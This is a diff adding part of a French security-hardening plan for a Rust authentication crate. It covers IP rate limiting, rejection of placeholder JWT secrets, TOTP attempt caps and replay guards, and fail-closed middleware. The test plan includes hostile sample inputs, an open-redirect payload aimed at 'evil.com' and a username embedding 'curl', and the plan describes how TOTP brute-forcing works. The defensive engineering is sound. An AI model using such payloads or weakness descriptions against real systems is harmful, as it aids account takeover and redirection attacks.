| 102 | +| `crates/rustwarden-core/Cargo.toml` + `Cargo.lock` | `bcrypt >= 0.19.2` | | |
| 103 | +| `tools/rustwarden-cli/src/templates.rs` | `.env.example` : JWT vide + commentaire openssl | | |
| 104 | +| `database/docker-compose.yml` | Bind `127.0.0.1:5432`, `${POSTGRES_PASSWORD:?}` | | |
| 105 | +| `CHANGELOG.md` | Entrée `Security` | | |
| 106 | + | |
| 107 | +### RFCs puis implémentation | |
| 108 | + | |
| 109 | +| RFC | Fichiers d’implémentation (après Accept) | | |
| 110 | +|-----|------------------------------------------| | |
| 111 | +| 0036 Username | `crates/rustwarden-core/src/types/username.rs` (nouveau, calqué sur `team_slug.rs`), `user_service.rs`, `auth/handlers.rs` `RegisterRequest` | | |
| 112 | +| 0037 TOTP replay | `src/migrations/m20260917_000010_totp_last_used_step.rs`, `models/user_totp.rs`, `totp_service.rs` | | |
| 113 | +| 0038 Email change | `user_service.rs` `update_profile`, éventuellement `email_validation_service.rs` | | |
| 114 | +| 0039 Headers | `app.rs` `security_headers_middleware` + `config/security_headers.rs` (nouveau) | | |
| 115 | +| 0040 Email login | `services/auth_service.rs` `authenticate_user` | | |
| 116 | + | |
| 117 | +--- | |
| 118 | + | |
| 119 | +## ADR | |
| 120 | + | |
| 121 | +**Decision :** Option A — patch Security `1.0.1` d’abord, RFCs 0036–0040 ensuite, implémentation RFC dans l’ordre M-1 → M-7 → M-5 → E-4 → M-10. | |
| 122 | + | |
| 123 | +**Drivers :** Scénario D ouvert aujourd’hui ; C-7 reproductible via le wizard ; processus §2 interdit d’attendre une RFC pour un bug interne. | |
| 124 | + | |
| 125 | +**Alternatives considered :** mega-RFC (B), status quo workarounds (C). | |
| 126 | + | |
| 127 | +**Why chosen :** maximalise le correctif livrable sous 14 jours sans casser les usernames existants ni Alpine. La synthèse Architect (garde TOTP in-process en patch) retire l’antithèse « Option A ne ferme pas D en 1.0.1 ». | |
| 128 | + | |
| 129 | +**Consequences :** Gitrust doit `update-project` après `1.0.1` pour retirer les gardes dupliquées (C-7, E-3 palliatif, OnceLock email). Les RFC restent bloquantes pour retirer les newtypes Gitrust (`Username`) et pour l’anti-rejeu multi-instance. | |
| 130 | + | |
| 131 | +**Antithèse (steelman) :** découper patch/RFC tout en classant comme « bug interne » des changements de défaut fait payer le coût du processus sans livrer D. **Réponse :** | |
| 132 | + | |
| 133 | +1. Validation admin **seulement** sur le chemin de *création*. | |
| 134 | +2. 2FA fail-closed = 503, pas un nouveau contrat de login. | |
| 135 | +3. Anti-rejeu TOTP in-process : restauration du comportement *voulu* (un OTP ≠ N logins) sans item `pub` ni migration — **patch Security**, pas RFC. La RFC 0037 ne fait que persister. | |
| 136 | +4. Placeholders JWT : **égalité exacte** uniquement (liste + littéral CLI). Pas de `contains("CHANGE-ME")` en 1.0.1 (ça serait un changement de défaut §2 et un faux positif sur une passphrase légitime). Le `contains` éventuel = RFC ultérieure. | |
| 137 | +5. Layer rate-limit sur `auth_api_routes()` : **zéro** signature de handler `pub` modifiée — l’alternative par extracteur `ConnectInfo` est **rejetée** (déclenchait §2 sur 5 handlers). | |
| 138 | + | |
| 139 | +**Follow-ups :** tracking issue consommateurs ; notification 14 jours ; `cargo audit --deny warnings` dans CI après le bump deps. | |
| 140 | + | |
| 141 | +--- | |
| 142 | + | |
| 143 | +## Pre-mortem (3 scénarios) | |
| 144 | + | |
| 145 | +### 1. RFC 0036 casse des comptes existants | |
| 146 | + | |
| 147 | +**Échec :** `UserService::create_user` refuse `Jean_Dupont` ; une app en prod a déjà ces usernames ; login OK mais `update_profile` échoue ; Gitrust `update-project` cassé. | |
| 148 | + | |
| 149 | +**Mitigation :** valider **uniquement** à la création et au changement de username ; ne **pas** ajouter de CHECK SQL sur la table `users` en v1 ; grandfathering documenté ; tests avec username historique `Admin_1`. | |
| 150 | + | |
| 151 | +### 2. CSP sans `unsafe-eval` casse l’admin | |
| 152 | + | |
| 153 | +**Échec :** Alpine `x-data="{ open: false }"` utilise `new Function()` ; l’UI de référence est muette après le patch. | |
| 154 | + | |
| 155 | +**Mitigation :** RFC 0039 = API *additive* `SecurityHeadersConfig` (défaut = CSP actuelle). Retrait de `'unsafe-eval'` seulement après migration Alpine CSP (`PLAN_CSP_HTMX.md` Phase 1), dans un train séparé. Tests HTTP d’en-tête, pas de changement de défaut dans `1.0.1`. | |
| 156 | + | |
| 157 | +### 3. `OnceLock` rate-limit fuit entre tests | |
| 158 | + | |
| 159 | +**Échec :** un test sature `pwd_reset:foo@bar` ; le test suivant 429. | |
| 160 | + | |
| 161 | +**Mitigation :** `RateLimitService::new_shared_for_tests()` ou `#[cfg(test)]` reset ; tests du limiteur sur une instance **locale** injectée, pas seulement le singleton. Le `OnceLock` production reste ; les unit tests de fenêtre glissante restent sur `RateLimitService::new()`. | |
| 162 | + | |
| 163 | +--- | |
| 164 | + | |
| 165 | +## Expanded Test Plan | |
| 166 | + | |
| 167 | +### Unit | |
| 168 | + | |
| 169 | +- `KNOWN_EXAMPLES` : exact match historiques + `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` ; secret hex 64 OK ; secret contenant `CHANGE-ME` **accepté** (pas de `contains` en 1.0.1). | |
| 170 | +- TOTP : 4 essais × 4 challenges (16) → 15e ou 16e refuse `TotpMaxAttemptsExceeded` ; 14 essais OK. | |
| 171 | +- Backup codes : `verify_backup_code` ne panique pas si appelé depuis runtime tokio (test async) ; code usagé retiré. | |
| 172 | +- `validate_password_complexity` appelée par `reset_password` (mot `a` → `Validation`). | |
| 173 | +- `sanitize_redirect("/\\evil.com")` ne produit pas une URL off-origin. | |
| 174 | +- `Username::parse` (RFC 0036) : `alice`, rejet `` `curl` ``, `Admin`, `--ab`, `-ab`, `ab-`, `api`. | |
| 175 | + | |
| 176 | +### Integration (DB) | |
| 177 | + | |
| 178 | +- `create_challenge` / `record_challenge_attempt` / plafond global (Postgres test). | |
| 179 | +- `PasswordResetService` : 4e `request_reset` en 1 h → 429 **avec la même instance de service clonée depuis le OnceLock**. | |
| 180 | +- RFC 0037 : second `check_current` du même step → false. | |
| 181 | +- RFC 0038 : `update_profile` email → `email_verified == false`. | |
| 182 | +- RFC 0040 : `authenticate_user` + setting `validation_email_required=true` + `email_verified=false` → erreur. | |
| 183 | + | |
| 184 | +### E2E / HTTP | |
| 185 | + | |
| 186 | +- `POST /api/v1/auth/2fa/verify` sans token IP : 429 après N (même budget que login). | |
| 187 | +- Middleware force-2FA : si `is_totp_enabled` retourne `Err`, **pas** de 200 sur route protégée (injecter un db mock ou test d’intégration avec DB down n’est pas réaliste — tester via une fonction interne `totp_force_gate(result) -> Result`). | |
| 188 | +- Headers : `content-security-policy` présent ; après RFC 0039, override consommé. | |
| 189 | + | |
| 190 | +### Observability | |
| 191 | + | |
| 192 | +- Log `warn` si `JWT_SECRET` rejeté (déjà un `Err` de boot — garder le message actuel). | |
| 193 | +- Métrique/log TOTP : `tracing::warn` quand plafond global atteint (clé `user_id`, jamais le code). | |
| 194 | +- `AUTH_LIMITER` 2FA : réutiliser le compteur existant `auth:{ip}` (pas de nouveau dashboard). | |
| 195 | + | |
| 196 | +--- | |
| 197 | + | |
| 198 | +## Phase 0 — Patch Security `1.0.1` | |
| 199 | + | |
| 200 | +Ordre d’implémentation : TDD par tâche. Ne pas mélanger RFC et patch dans le même commit logique. | |
| 201 | + | |
| 202 | +**Contrainte (non négociable) :** aucun item `pub` **ajouté, modifié ou supprimé**. Helpers `pub(crate)`. `check_auth_rate_limit(headers)` signature inchangée. **Aucune** signature de handler `pub async fn` modifiée. | |
| 203 | + | |
| 204 | +Quality gates après **chaque** tâche : `cargo test -p rustwarden-core --lib`, puis en fin de phase `cargo clippy --workspace -- -D warnings` et `cargo audit`. | |
| 205 | + | |
| 206 | +**Cause racine IP :** `extract_client_ip_from_headers` (`rate_limit.rs:151-154`) passe `connect_ip: None` ; `TRUSTED_PROXY_HOPS` défaut 0 ignore XFF → clé `auth:unknown`. `run()` (`app.rs:117`) n’attache pas `ConnectInfo`. Les appels handler à `check_auth_rate_limit(&headers)` sont donc un budget **global**. | |
| 207 | + | |
| 208 | +--- | |
| 209 | + | |
| 210 | +### Task 0 : ConnectInfo + layer rate-limit sur `auth_api_routes` (E-2 / E-3 IP) | |
| 211 | + | |
| 212 | +**Files:** | |
| 213 | +- Modify: `crates/rustwarden-core/src/app.rs:117-119` (`run`) | |
| 214 | +- Modify: `crates/rustwarden-core/src/auth/routes.rs:35-62` | |
| 215 | +- Modify: `crates/rustwarden-core/src/middleware/rate_limit.rs` — middleware `pub(crate)` | |
| 216 | +- Test: `crates/rustwarden-core/tests/` (patron `csrf_protection.rs` + `MockConnectInfo`) | |
| 217 | +- Doc: rustdoc de `into_router()` — le consommateur qui sert le routeur lui-même **doit** appeler `into_make_service_with_connect_info`, sinon le layer retombe sur `unknown` (documenté, pas un DoS nouveau : c’est l’état actuel) | |
| 218 | + | |
| 219 | +**Ne pas** ajouter `ConnectInfo` aux handlers. **Ne pas** utiliser `Option<ConnectInfo>` (pas d’`OptionalFromRequestParts` en axum 0.8.8). | |
| 220 | + | |
| 221 | +Couverture du layer (POST sensibles seulement) : `/login`, `/register`, `/refresh`, `/forgot-password`, `/2fa/verify`, `/resend-verification`, `/resend-verification/by-username`. **Hors layer :** `/logout`, `/me`, `/verify-email/{token}`, `/reset-password` (déjà limité par token + Task 6). | |
| 222 | + | |
| 223 | +Le layer uniformise le **429** + `Retry-After`. Aujourd’hui `login` propage le 429, mais `refresh` / `forgot_password` / `register` convertissent en `AppError::Validation` (400). Retirer ces appels handler `check_auth_rate_limit` une fois le layer en place. Les paramètres `headers: HeaderMap` qui ne servaient qu’à ça : les **préfixer `_headers`** (sinon `unused_variables` casse `-D warnings`). Ce n’est pas un changement de type de signature. | |
| 224 | + | |
| 225 | +**Décision 2FA :** **IP seule** via ce layer. Pas de seconde clé `totp:{user_id}` en 1.0.1 (le plafond E-3 user-level est déjà dans `create_challenge`). | |
| 226 | + | |
| 227 | +- [ ] **Step 1: Tests de caractérisation** (code `extract_ip_from_xff_or_connect` **déjà** présent l.124-135 — ces tests **passent** aujourd’hui ; ce n’est pas un cycle TDD rouge). Paramétrer les hops **en argument**, ne pas lire le `OnceLock` : | |
| 228 | + | |
| 229 | +```rust | |
| 230 | +fn extract_ip(xff: Option<&str>, connect: Option<String>, hops: usize) -> String { | |
| 231 | + if hops > 0 { | |
| 232 | + if let Some(xff_value) = xff { | |
| 233 | + let ips: Vec<&str> = xff_value.split(',').map(|s| s.trim()).collect(); | |
| 234 | + if ips.len() >= hops { | |
| 235 | + return ips[ips.len() - hops].to_string(); | |
| 236 | + } | |
| 237 | + } | |
| 238 | + } | |
| 239 | + connect.unwrap_or_else(|| "unknown".to_string()) | |
| 240 | +} | |
| 241 | + | |
| 242 | +#[test] | |
| 243 | +fn hops_zero_uses_connect_not_xff() { | |
| 244 | + assert_eq!( | |
| 245 | + extract_ip(Some("1.2.3.4"), Some("10.0.0.9".into()), 0), | |
| 246 | + "10.0.0.9" | |
| 247 | + ); | |
| 248 | +} | |
| 249 | +``` | |
| 250 | + | |
| 251 | +Refactorer `extract_ip_from_xff_or_connect` pour déléguer à `extract_ip(..., trusted_proxy_hops())` — comportement identique, tests hermétiques. | |
| 252 | + | |
| 253 | +- [ ] **Step 2: `run()`** | |
| 254 | + | |
| 255 | +```rust | |
| 256 | +axum::serve( | |
| 257 | + listener, | |
| 258 | + self.router.into_make_service_with_connect_info::<std::net::SocketAddr>(), | |
| 259 | +) | |
| 260 | +``` | |
| 261 | + | |
| 262 | +Signature de `run()` inchangée. | |
| 263 | + | |
| 264 | +- [ ] **Step 3: Middleware `pub(crate)` + montage dans `auth_api_routes`** | |
| 265 | + | |
| 266 | +```rust | |
| 267 | +pub(crate) async fn auth_ip_rate_limit(request: Request, next: Next) -> Result<Response, Response> { | |
| 268 | + let ip = extract_client_ip(&request); // lit ConnectInfo si présent | |
| 269 | + auth_limiter() | |
| 270 | + .check(&format!("auth:{ip}"), auth_max_per_minute()) | |
| 271 | + .map_err(|err| err.into_response())?; | |
| 272 | + Ok(next.run(request).await) | |
| 273 | +} | |
| 274 | +``` | |
| 275 | + | |
| 276 | +Dans `auth_api_routes()` : router « limited » avec `.layer(from_fn(auth_ip_rate_limit))` + merge du router « unlimited » (logout/me/verify-email/reset-password). `from_fn` n’est pas un nouvel item `pub`. | |
| 277 | + | |
| 278 | +- [ ] **Step 4: Test d’intégration OBLIGATOIRE** (harness : `crates/rustwarden-core/tests/csrf_protection.rs`) | |
| 279 | + | |
| 280 | +```rust | |
| 281 | +use axum::extract::connect_info::MockConnectInfo; | |
| 282 | +use tower::ServiceExt; | |
| 283 | + | |
| 284 | +#[tokio::test] | |
| 285 | +async fn auth_limiter_separates_two_connect_ips() { | |
| 286 | + let app = auth_api_routes() | |
| 287 | + .layer(MockConnectInfo(SocketAddr::from(([1, 2, 3, 4], 0)))) | |
| 288 | + .with_state(test_db()); | |
| 289 | + // N = RATE_LIMIT_AUTH_PER_MINUTE default 10 | |
| 290 | + // 11 POST /api/v1/auth/login depuis 1.2.3.4 → dernier 429 | |
| 291 | + // même batterie depuis MockConnectInfo 5.6.7.8 → 200 ou 401 métier, PAS 429 | |
| 292 | +} | |
| 293 | +``` | |
| 294 | + | |
| 295 | +Deux IP = deux budgets. C’est le **seul** critère qui prouve la disparition de `auth:unknown` sur le chemin nominal. `into_router()` : documenter dans rustdoc ; pas de test E2E (contrat avancé). | |
| 296 | + | |
| 297 | +--- | |
| 298 | + | |
| 299 | +### Task 1 : Rejet des placeholders JWT (C-7) | |
| 300 | + | |
| 301 | +**Files:** | |
| 302 | +- Modify: `crates/rustwarden-core/src/config/auth.rs:84-97` | |
| 303 | +- Test: même fichier, `#[cfg(test)]` (créer le module s’il n’existe que pour `AuthFailureMode`) | |
| 304 | +- Modify: `tools/rustwarden-cli/src/templates.rs:610-611` | |
| 305 | + | |
| 306 | +- [ ] **Step 1: Write the failing tests** | |
| 307 | + | |
| 308 | +Extraire un helper `pub(crate)` testable **sans** `set_var` (les tests `from_env` en parallèle sont flaky) : | |
| 309 | + | |
| 310 | +```rust | |
| 311 | +pub(crate) fn jwt_secret_is_placeholder(secret: &str) -> bool { | |
| 312 | + const KNOWN_EXAMPLES: &[&str] = &[ | |
| 313 | + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes", | |
| 314 | + "change-me-in-production", | |
| 315 | + "super-secret-jwt-key", | |
| 316 | + "my-secret-key", | |
| 317 | + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE", | |
| 318 | + ]; | |
| 319 | + KNOWN_EXAMPLES.iter().any(|ex| secret == *ex) | |
| 320 | +} | |
| 321 | + | |
| 322 | +#[test] | |
| 323 | +fn rejects_cli_placeholder() { | |
| 324 | + assert!(jwt_secret_is_placeholder("REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE")); | |
| 325 | +} | |
| 326 | + | |
| 327 | +#[test] | |
| 328 | +fn accepts_passphrase_containing_change_me() { | |
| 329 | + assert!(!jwt_secret_is_placeholder( | |
| 330 | + "my-change-me-not-secret-passphrase-2026xxxx" | |
| 331 | + )); | |
| 332 | +} | |
| 333 | + | |
| 334 | +#[test] | |
| 335 | +fn accepts_random_hex_64() { | |
| 336 | + assert!(!jwt_secret_is_placeholder( | |
| 337 | + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" | |
| 338 | + )); | |
| 339 | +} | |
| 340 | +``` | |
| 341 | + | |
| 342 | +**Pas de `contains` en 1.0.1** (changement de défaut §2 + faux positifs). Égalité exacte seulement. | |
| 343 | + | |
| 344 | +`AuthConfig::from_env` appelle `jwt_secret_is_placeholder` puis le check de longueur. | |
| 345 | + | |
| 346 | +- [ ] **Step 2: Run test to verify it fails** | |
| 347 | + | |
| 348 | +Run: `cargo test -p rustwarden-core --lib jwt_secret_tests -- --nocapture` | |
| 349 | + | |
| 350 | +Expected: FAIL — `rejects_cli_placeholder` (le placeholder fait 36 chars, `==` sur 4 littéraux ne matche pas). | |
| 351 | + | |
| 352 | +- [ ] **Step 3: Write minimal implementation** | |
| 353 | + | |
| 354 | +Remplacer le bloc `KNOWN_EXAMPLES` par les 5 littéraux (4 historiques + CLI). `from_env` : | |
| 355 | + | |
| 356 | +```rust | |
| 357 | +if jwt_secret_is_placeholder(&jwt_secret) { | |
| 358 | + return Err( | |
| 359 | + "JWT_SECRET is set to a known example value. Please generate a unique secret \ | |
| 360 | + (e.g., `openssl rand -hex 32`)." | |
| 361 | + .to_string(), | |
| 362 | + ); | |
| 363 | +} | |
| 364 | +``` | |
| 365 | + | |
| 366 | +Dans `tools/rustwarden-cli/src/templates.rs` : | |
| 367 | +- JWT (l.611) : commenter / vider, pointer `openssl rand -hex 32` | |
| 368 | +- `ADMIN_PASSWORD` (l.634) : **même traitement** — le placeholder `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` échoue `PasswordRules` (pas de minuscule) et, après Task 8, empêche le premier boot. Le wizard écrit déjà un mot fort dans `.env` (`start_project.rs`). Le `.env.example` doit soit omettre `ADMIN_PASSWORD`, soit documenter « généré au bootstrap si vide ». | |
| 369 | + | |
| 370 | +Ajouter `AdminConfig` : si `ADMIN_PASSWORD` est exactement `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` ou `password`, `validate()` échoue (égalité exacte, comme JWT). | |
| 371 | + | |
| 372 | +- [ ] **Step 4: Run tests** | |
| 373 | + | |
| 374 | +Run: `cargo test -p rustwarden-core --lib jwt_secret_tests` | |
| 375 | + | |
| 376 | +Expected: PASS. Conserver les 4 littéraux historiques. | |
| 377 | + | |
| 378 | +- [ ] **Step 5: Commit** (seulement si l’utilisateur le demande) | |
| 379 | + | |
| 380 | +--- | |
| 381 | + | |
| 382 | +### Task 2 : Plafond global TOTP (E-3) | |
| 383 | + | |
| 384 | +**Files:** | |
| 385 | +- Modify: `crates/rustwarden-core/src/services/totp_service.rs:18` (constante) et `:285-300` | |
| 386 | +- Test: `totp_service.rs` module `tests` (étendre) **et** test d’intégration DB si un harness existe (`crates/rustwarden-core/tests/`) | |
| 387 | + | |
| 388 | +Constante nouvelle : | |
| 389 | + | |
| 390 | +```rust | |
| 391 | +/// Cap of *summed* challenge attempts per user over 15 minutes. | |
| 392 | +const MAX_ATTEMPTS_PER_WINDOW: i32 = 15; | |
| 393 | +``` | |
| 394 | + | |
| 395 | +Comportement actuel (`totp_service.rs:289-300`) : | |
| 396 | + | |
| 397 | +```rust | |
| 398 | +.filter(totp_challenge::Column::Attempts.gte(MAX_CHALLENGE_ATTEMPTS)) | |
| 399 | +// puis recent_failed.len() >= 3 | |
| 400 | +``` | |
| 401 | + | |
| 402 | +Un attaquant s’arrête à 4 essais, redemande un challenge, à l’infini. | |
| 403 | + | |
| 404 | +- [ ] **Step 1: Failing test (logique pure extractable)** | |
| 405 | + | |
| 406 | +Si le harness DB d’intégration n’est pas trivial à câbler dans cette tâche, extraire : | |
| 407 | + | |
| 408 | +```rust | |
| 409 | +pub(crate) fn totp_window_exceeded(attempts: impl Iterator<Item = i32>) -> bool { | |
| 410 | + attempts.sum::<i32>() >= MAX_ATTEMPTS_PER_WINDOW | |
| 411 | +} | |
| 412 | + | |
| 413 | +#[test] | |
| 414 | +fn four_challenges_of_four_attempts_are_blocked() { | |
| 415 | + assert!(totp_window_exceeded([4, 4, 4, 4].into_iter())); // 16 | |
| 416 | +} | |
| 417 | + | |
| 418 | +#[test] | |
| 419 | +fn fourteen_attempts_still_allowed() { | |
| 420 | + assert!(!totp_window_exceeded([4, 4, 4, 2].into_iter())); // 14 | |
| 421 | +} | |
| 422 | +``` | |
| 423 | + | |
| 424 | +Puis dans `create_challenge`, remplacer le filtre `attempts >= 5` par un chargement des challenges 15 min et `totp_window_exceeded(rows.iter().map(|r| r.attempts))`. | |
| 425 | + | |
| 426 | +Garder **aussi** `MAX_CHALLENGE_ATTEMPTS = 5` par challenge (défense en profondeur). | |
| 427 | + | |
| 428 | +- [ ] **Step 2: Run — expected FAIL** (helper pas encore branché / test d’intégration rouge si on teste `create_challenge` réel) | |
| 429 | + | |
| 430 | +- [ ] **Step 3: Implementation** | |
| 431 | + | |
| 432 | +```rust | |
| 433 | +pub async fn create_challenge( | |
| 434 | + db: &DatabaseConnection, | |
| 435 | + user_id: Uuid, | |
| 436 | +) -> Result<String, AppError> { | |
| 437 | + let recent_cutoff = Utc::now() - Duration::minutes(15); | |
| 438 | + let recent = totp_challenge::Entity::find() | |
| 439 | + .filter(totp_challenge::Column::UserId.eq(user_id)) | |
| 440 | + .filter(totp_challenge::Column::CreatedAt.gte(recent_cutoff)) | |
| 441 | + .all(db) | |
| 442 | + .await?; | |
| 443 | + | |
| 444 | + if totp_window_exceeded(recent.iter().map(|c| c.attempts)) { | |
| 445 | + tracing::warn!(%user_id, "TOTP global attempt cap reached"); | |
| 446 | + return Err(AppError::TotpMaxAttemptsExceeded); | |
| 447 | + } | |
| 448 | + // ... insert inchangé | |
| 449 | +} | |
| 450 | +``` | |
| 451 | + | |
| 452 | +Pas de SQL brut : SeaORM `find` + somme Rust (principe constitution). | |
| 453 | + | |
| 454 | +**Anti-rejeu in-process (ferme D en 1.0.1, pas de RFC) :** `verify_totp_code` est privée (`totp_service.rs:395`). Introduire `pub(crate) fn matching_totp_step(secret, code) -> Option<u64>` (step courant ± skew 1). Cache `OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>>` TTL 90 s. Si `(user_id, step)` déjà vu → `false` (même sémantique qu’un code invalide, pas d’oracle). Purge opportuniste des Instant expirés à chaque insert. | |
| 455 | + | |
| 456 | +```rust | |
| 457 | +#[test] | |
| 458 | +fn same_step_replay_is_rejected() { | |
| 459 | + let uid = Uuid::nil(); | |
| 460 | + assert!(totp_replay_guard_accept(uid, 42)); | |
| 461 | + assert!(!totp_replay_guard_accept(uid, 42)); | |
| 462 | + assert!(totp_replay_guard_accept(uid, 43)); | |
| 463 | +} | |
| 464 | +``` | |
| 465 | + | |
| 466 | +RFC 0037 persistera `last_used_step`. **Non-goal :** un relais Evilginx live (code présenté une seule fois) n’est arrêté ni ici ni par 0037. | |
| 467 | + | |
| 468 | +- [ ] **Step 4: `cargo test -p rustwarden-core --lib totp`** — PASS | |
| 469 | + | |
| 470 | +--- | |
| 471 | + | |
| 472 | +### Task 3 : 2FA sous le même layer | |
| 473 | + | |
| 474 | +**Absorbe par Task 0.** `verify_2fa` est déjà monté (`auth/routes.rs:62`). Aucune modification de `handlers.rs`. | |
| 475 | + | |
| 476 | +- [ ] **Step 1:** Le test MockConnectInfo Task 0 Step 4 inclut `POST /api/v1/auth/2fa/verify` : 11e appel même IP → 429. | |
| 477 | + | |
| 478 | +--- | |
| 479 | + | |
| 480 | +### Task 4 : Fail-closed force-2FA **et** lookup user / blacklist | |
| 481 | + | |
| 482 | +**Files:** | |
| 483 | +- Modify: `crates/rustwarden-core/src/middleware/auth_service.rs` l.232-235, l.284, l.327-333 | |
| 484 | + | |
| 485 | +`AuthService::call` : `Error = S::Error`. **Interdit** `.await?` sur `AppError`. Patron l.208-215 : `Ok((StatusCode::…, …).into_response())`. | |
| 486 | + | |
| 487 | +Trois fail-open à fermer ensemble (Principe 3) : | |
| 488 | + | |
| 489 | +1. `is_totp_enabled(...).unwrap_or(false)` (l.328-333) — déjà identifié. | |
| 490 | +2. `if let Ok(Some(user_model)) = find_by_id(...).await` (l.284) : `Err` **et** `Ok(None)` sautent tout le bloc (2FA, `must_change_password`) puis la requête continue authentifiée. Un user supprimé + JWT encore valide traverse. | |
| 491 | +3. `JwtBlacklistService::is_blacklisted(...).is_ok_and(|b| b)` (l.232-235) fail-open sur erreur DB, alors que la branche optionnelle (l.384) utilise `.unwrap_or(true)` (fail-closed). | |
| 492 | + | |
| 493 | +```rust | |
| 494 | +match JwtBlacklistService::is_blacklisted(&db, &jwt_token).await { | |
| 495 | + Ok(true) | Err(_) => { | |
| 496 | + return Ok(auth_failure_response(&auth_config, &uri)); | |
| 497 | + } | |
| 498 | + Ok(false) => {} | |
| 499 | +} | |
| 500 | + | |
| 501 | +match user::Entity::find_by_id(user_id).one(&db).await { | |
| 502 | + Err(e) => { | |
| 503 | + tracing::error!(%user_id, error = %e, "user lookup failed (fail-closed)"); | |
| 504 | + return Ok((StatusCode::SERVICE_UNAVAILABLE, "Internal server error").into_response()); | |
| 505 | + } | |
| 506 | + Ok(None) => return Ok(auth_failure_response(&auth_config, &uri)), | |
| 507 | + Ok(Some(user_model)) => { /* must_change + totp_force, match is_totp_enabled */ } | |
| 508 | +} | |
| 509 | +``` | |
| 510 | + | |
| 511 | +TOTP lookup Err → 503 : | |
| 512 | + | |
| 513 | +```rust | |
| 514 | +if totp_force_enabled { | |
| 515 | + match TotpService::is_totp_enabled(&db, user_id).await { | |
| 516 | + Ok(true) => { /* continue */ } | |
| 517 | + Ok(false) => { | |
| 518 | + return Ok(Redirect::to("/settings/security?force_2fa=true").into_response()); | |
| 519 | + } | |
| 520 | + Err(e) => { | |
| 521 | + tracing::error!(%user_id, error = %e, "TOTP status lookup failed (fail-closed)"); | |
| 522 | + return Ok(( | |
| 523 | + StatusCode::SERVICE_UNAVAILABLE, | |
| 524 | + "Internal server error", | |
| 525 | + ) | |
| 526 | + .into_response()); | |
| 527 | + } | |
| 528 | + } | |
| 529 | +} | |
| 530 | +``` | |
| 531 | + | |
| 532 | +Setting `totp_force_enabled` `unwrap_or(false)` (l.325) inchangé (défaut « 2FA non forcé » si settings illisibles). | |
| 533 | + | |
| 534 | +Test : `map_user_lookup` (3 branches lookup) + `totp_force_gate(result) -> TotpGate { Allow, RedirectSetup, Unavailable }` (3 branches 2FA). Pas de test HTTP qui traverse tout le `Service::call` en 1.0.1 (harness middleware lourd) ; le grep de vérif finale + ces helpers unitaires **sont** le critère 8. | |
| 535 | + | |
| 536 | +--- | |
| 537 | + | |
| 538 | +### Task 5 : Backup codes en `spawn_blocking` (M-8) | |
| 539 | + | |
| 540 | +**Files:** | |
| 541 | +- Modify: `crates/rustwarden-core/src/services/totp_service.rs:190-197` | |
| 542 | +- Pattern : `crates/rustwarden-core/src/services/password_service.rs:69-79` | |
| 543 | + | |
| 544 | +- [ ] **Step 1: Failing test** — test async qui appelle `verify_backup_code` (nécessite DB + CryptoService). Si trop lourd, tester un helper : | |
| 545 | + | |
| 546 | +```rust | |
| 547 | +async fn verify_one_backup(code: String, hashed: String) -> Result<bool, AppError> { | |
| 548 | + tokio::task::spawn_blocking(move || bcrypt::verify(&code, &hashed).unwrap_or(false)) | |
| 549 | + .await | |
| 550 | + .map_err(|e| AppError::Internal(format!("Blocking task failed: {e}"))) | |
| 551 | +} | |
| 552 | +``` | |
| 553 | + | |
| 554 | +- [ ] **Step 2: Implementation** — extraire la boucle bcrypt hors du runtime : | |
| 555 | + | |
| 556 | +```rust | |
| 557 | +let hashed_codes_clone = hashed_codes.clone(); | |
| 558 | +let code_owned = code.to_string(); | |
| 559 | +let found_index = tokio::task::spawn_blocking(move || { | |
| 560 | + let mut found = None; | |
| 561 | + for (i, hashed) in hashed_codes_clone.iter().enumerate() { | |
| 562 | + let matches = bcrypt::verify(&code_owned, hashed).unwrap_or(false); | |
| 563 | + if matches && found.is_none() { | |
| 564 | + found = Some(i); | |
| 565 | + } | |
| 566 | + } | |
| 567 | + found | |
| 568 | +}) | |
| 569 | +.await | |
| 570 | +.map_err(|e| AppError::Internal(format!("Blocking task failed: {e}")))?; | |
| 571 | +``` | |
| 572 | + | |
| 573 | +Pas de `break` retiré : l’index qui matche n’est pas un secret (l’attaquant connaît son code). Garder le court-circuit `found_index = Some(i); break;` **à l’intérieur** du `spawn_blocking`. Objectif M-8 = ne pas bloquer le runtime, pas un bcrypt constant-time. | |
| 574 | + | |
| 575 | +Ne **pas** changer `bcrypt::hash` de génération (l.431) dans ce patch si c’est au setup (rare) — bonus acceptable : hasher aussi via `spawn_blocking`. | |
| 576 | + | |
| 577 | +--- | |
| 578 | + | |
| 579 | +### Task 6 : Rate limiter email partagé (M-3) | |
| 580 | + | |
| 581 | +**Files:** | |
| 582 | +- Modify: `crates/rustwarden-core/src/services/password_reset_service.rs:36-41` | |
| 583 | +- Modify: `crates/rustwarden-core/src/services/email_validation_service.rs:35-40` | |
| 584 | + | |
| 585 | +`RateLimitService` est déjà `Clone` (Arc interne, `rate_limit_service.rs:61-65`). Le bug est `RateLimitService::new()` **par requête**. | |
| 586 | + | |
| 587 | +- [ ] **Step 1: Failing test** | |
| 588 | + | |
| 589 | +```rust | |
| 590 | +#[test] | |
| 591 | +fn cloned_limiters_share_buckets() { | |
| 592 | + let a = RateLimitService::new(); | |
| 593 | + let b = a.clone(); | |
| 594 | + for _ in 0..3 { | |
| 595 | + a.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600)) | |
| 596 | + .unwrap(); | |
| 597 | + } | |
| 598 | + assert!(b | |
| 599 | + .check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600)) | |
| 600 | + .is_err()); | |
| 601 | +} | |
| 602 | +``` | |
| 603 | + | |
| 604 | +Ce test passe déjà (Clone = Arc). Le test métier manquant : | |
| 605 | + | |
| 606 | +```rust | |
| 607 | +#[test] | |
| 608 | +fn independent_new_does_not_share() { | |
| 609 | + let a = RateLimitService::new(); | |
| 610 | + let b = RateLimitService::new(); | |
| 611 | + for _ in 0..3 { | |
| 612 | + a.check_sliding_window("k", 3, Duration::from_secs(3600)).unwrap(); | |
| 613 | + } | |
| 614 | + assert!(b.check_sliding_window("k", 3, Duration::from_secs(3600)).is_ok()); | |
| 615 | +} | |
| 616 | +``` | |
| 617 | + | |
